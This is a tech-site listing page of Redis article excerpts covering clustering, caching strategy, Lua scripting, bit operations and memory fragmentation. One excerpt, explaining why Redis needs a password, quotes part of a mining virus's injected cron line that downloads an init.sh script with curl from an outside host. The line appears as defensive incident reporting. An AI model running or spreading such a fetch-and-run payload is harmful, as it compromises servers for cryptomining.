current location:Home > Technical Articles > Database > Redis
- Direction:
- All web3.0 Backend Development Web Front-end Database Operation and Maintenance Development Tools PHP Framework Daily Programming WeChat Applet Common Problem Other Tech CMS Tutorial Java System Tutorial Computer Tutorials Hardware Tutorial Mobile Tutorial Software Tutorial Mobile Game Tutorial
- Classify:
-
- How to quickly build a redis cluster using python
- Redis Communication Protocol Lists the main points to facilitate understanding of the following program. Redis monitors incoming connections on TCP port 6379 (default port, which can be modified in the configuration). Every Redis command or data transmitted between the client and the server ends with rn. Reply (a protocol that the server can recover from the client) Redis replies to commands with different reply types. It may check the reply type starting from the first byte sent by the server: * With a single line reply (status reply), the first byte of the reply will be "+" * An error message, the first byte of the reply will be is "-&
- Redis 969 2023-05-26 15:56:36
-
- What does redis cache delayed double deletion mean?
- Why is the cache deleted instead of updated? If it is an update, there is a distributed transaction problem, the cache may be modified, and the database modification may fail. If you just delete the cache, even if the database modification fails, the next query will directly fetch the data from the database, and no dirty data will appear. What is delayed double deletion? That is, when adding, deleting or modifying an entity class, the cache of the entity class must be cleared. The clearing position is before and after the database operation method. Using the method of proof by contradiction, only deleting the conclusion first and then deleting it later leads to the conclusion that both deletion before and after deletion are problematic. Therefore, the strategy of delayed double deletion is adopted. Thinking 2: Why is delay still a proof by contradiction? The situation in the figure below shows the situation where the old cache still exists after double deletion. The delay is to ensure that the change cache operations of other transactions have been completed before modifying the database -> clearing the cache.
- Redis 3139 2023-05-26 15:49:51
-
- What is the solution for Java to operate redis and set expiration in the early morning of the next day?
- Java operates redis to set the expiration scenario in the early morning of the next day. When querying data, I encountered the problem of needing to set the data to expire the next day in redis. However, redis did not have a corresponding API, so I had to solve the problem by myself. The time difference between the early morning of the next day and the current time. Setting the time difference as the expiration time of redis can achieve the effect we want Code/*** Calculate the time difference in seconds between the early morning of the next day and the current time *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
- Redis 1321 2023-05-26 15:40:59
-
- How to use PHP+Redis to solve the problem of overselling products under high concurrency
- For some e-commerce websites with a certain number of users, if they simply use relational databases (such as MySQL, Oracle) for rush purchases, the pressure on the database will be very great, and if the database lock mechanism is not used properly, there will be Problems that lead to oversold products and coupons. My company also encountered the same problem. The problem occurred when coupons were over-purchased. After the problem occurred, we began to think of ways to solve the problem. Since I use redis a lot, I plan to use redis to solve this problem. Use the high performance and transaction features of redis to solve the problem of online coupons being snapped up by overstock. Below I give the first version of the pseudo code that I temporarily solved this problem, removing some details: /*** Grab the discount
- Redis 1773 2023-05-26 15:31:06
-
- Example analysis of redis script command execution problems
- 1. Execute in the redis-cli command line: #Call the redis command to set the cache #Do not pass the parameter eval"returnredis.call('set','name1','Tom')"0#Pass in 1 value parameter eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
- Redis 1476 2023-05-26 15:28:06
-
- How to install Redis in Linux system
- Redis is a high-performance key-value database. The emergence of redis has largely compensated for the shortcomings of keyvalue storage such as memcached, and can play a very good supplementary role to relational databases in some situations. Introduction to redis: Redis (RemoteDictionaryServer), the remote dictionary service, is an open source log-type, Key-Value database written in ANSIC language, supports the network, can be memory-based and persistent, and provides APIs in multiple languages. Since March 15, 2010, the development of Redis has been hosted by VMware. Starting in May 2013, the development of Redis
- Redis 904 2023-05-26 14:55:14
-
- How to use Redis special data type Geospatial
- Redis special data type Geospatial geographical space was launched in redis version 3.2. It can be used to calculate geographical location information, the distance between two places, the people around it, and other scenarios. 1. Geoadd adds the specified geographical spatial location (latitude, longitude, name) to the specified key. Here you can use some online latitude and longitude query tools to obtain data. geoaddchina:city121.47264431.231706shanghaigeoaddchina:city120.61958531.299379suzhougeoaddchina:city116.4052
- Redis 603 2023-05-26 14:55:06
-
- What are the three ways of redis clustering
- Redis has three clustering methods: master-slave replication, sentinel mode, and Cluster cluster. Basic principles of master-slave replication When a new slave server is established, the slave server will send a SYNC command to the master server. After receiving the SYNC command, the master server will execute a BGSAVE command. During execution, all commands will be written to the buffer. , when the BGSAVE command is executed, the generated RDB file will be sent to the slave server. The slave server will use this file to load data into the memory. Then the master server will send the buffer command to the slave server in the format of the Redis command protocol. After that, every time the master service executes a command, it will be synchronized to the slave server. Even if there are multiple slave servers sending SYNC commands to the master server,
- Redis 1436 2023-05-26 14:37:13
-
- What is the reason why Redis must set a password?
- Why does redis need to set a password? You don’t need to set a password for the intranet environment, but it is necessary to set a password for personal servers and online public servers. Yesterday I checked minio's redis event notification, and when I checked the redis keys, I found a few more strange keys. backup1, backup2, backup3. Then I guessed it was a mining virus. As shown below: In this way, the scheduled tasks and scripts are injected into our machine, and the init.sh script backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top will begin to be executed. /cleanfda/init
- Redis 1964 2023-05-26 14:17:22
-
- How to use redis bit operations
- The redis test code in this article is based on the following environment: Operating system: MacOS 64-bit version: Redis5.0.764bit Operating mode: standalonemode Redis bit operation reids bit operation is also called bit array operation and bitmap. It provides four commands: SETBIT, GETBIT, BITCOUNT, and BITTOP. For manipulating binary bit arrays. Let’s first look at a wave of basic operation examples SETBIT syntax: SETBITkeyoffsetvalue is: command key offset 0/1 The setbit command is used to write the binary bit setting value of the specified offset in the bit array. The offset starts counting from 0 and is only allowed Write 1 or 0,
- Redis 2246 2023-05-26 14:14:56
-
- How SpringBoot monitors redis Key change events
- 1. Function Overview Keyspace notification allows clients to receive events that modify Rediskey changes in some way by subscribing to channels or patterns. All commands that modify key keys. All keys that received the LPUSHkeyvalue[value…] command. All expired keys in the db database. Events are distributed through Redis's subscription and publishing functions (pub/sub), so all clients that support subscription and publishing functions can directly use the keyspace notification function without any modifications. Because the current subscription and publishing functions of Redis adopt a fireandforget strategy, if your program
- Redis 2285 2023-05-26 13:55:26
-
- How to use opsForList().range() in redis
- Conclusion (please read below for specific test data) 1. If start-end maintains the overall order, there will be no problem. 2. According to the order, even startN-1 can query the data. 3. Special usage: through stringRedisTemplate.opsForList().range( key,0,-1) can query the first to last index (that is, all data) 1. Environment redis2, test code: @ResourceprivateStringRedisTemplatestringRedisTemplate;@TestvoidtestRedis(){Stringk
- Redis 1728 2023-05-26 13:46:20
-
- What are the redis operation methods of laravel?
- Redis operation 1. Set/get operation Common set/get operation, set operation, if the key name exists, the original value will be overwritten $redis=app("redis.connection");$redis->set('library ','phpredis');//Storage key is library, and the value of phpredis is recorded $redis->get("library");//Get the record value of key as library set/g
- Redis 1342 2023-05-26 13:38:11
-
- How to build a Redis cluster in CentOS7
- 1. Manual construction 1. Prepare the node CentOS7 and install Redis. The number of nodes must be at least 6 to ensure a complete and highly available cluster (1) Directory structure cluster├──9001│├──data││├──appendonly.aof││ └──nodes-9001.conf│├──redis-9001.conf│└──redis-9001.log├──9002│├──data││├──appendonly.aof││└──nodes- 9002.conf│├──redis-9002.conf│└──redis-9002.log...(2
- Redis 1230 2023-05-26 13:34:06
-
- How to clean up Redis memory fragments
- What is Redis memory fragmentation? The total amount of remaining space in the operating system is sufficient, but when applying for a space with a continuous address of N bytes, there is no continuous space of N bytes in the remaining memory space. Then, among the remaining memory spaces, the continuous memory space is less than N bytes. It's memory fragmentation. How is Redis memory fragmentation formed? There are internal and external reasons for the formation of memory fragmentation: Internal reasons: The allocation strategy of the memory allocator determines that the operating system cannot achieve "allocation on demand". Redis uses libc, jemalloc, and tcmalloc to allocate memory. By default, jemalloc is used. The memory allocator allocates memory space according to a fixed size, not exactly according to the content requested by the application.
- Redis 1394 2023-05-26 13:18:33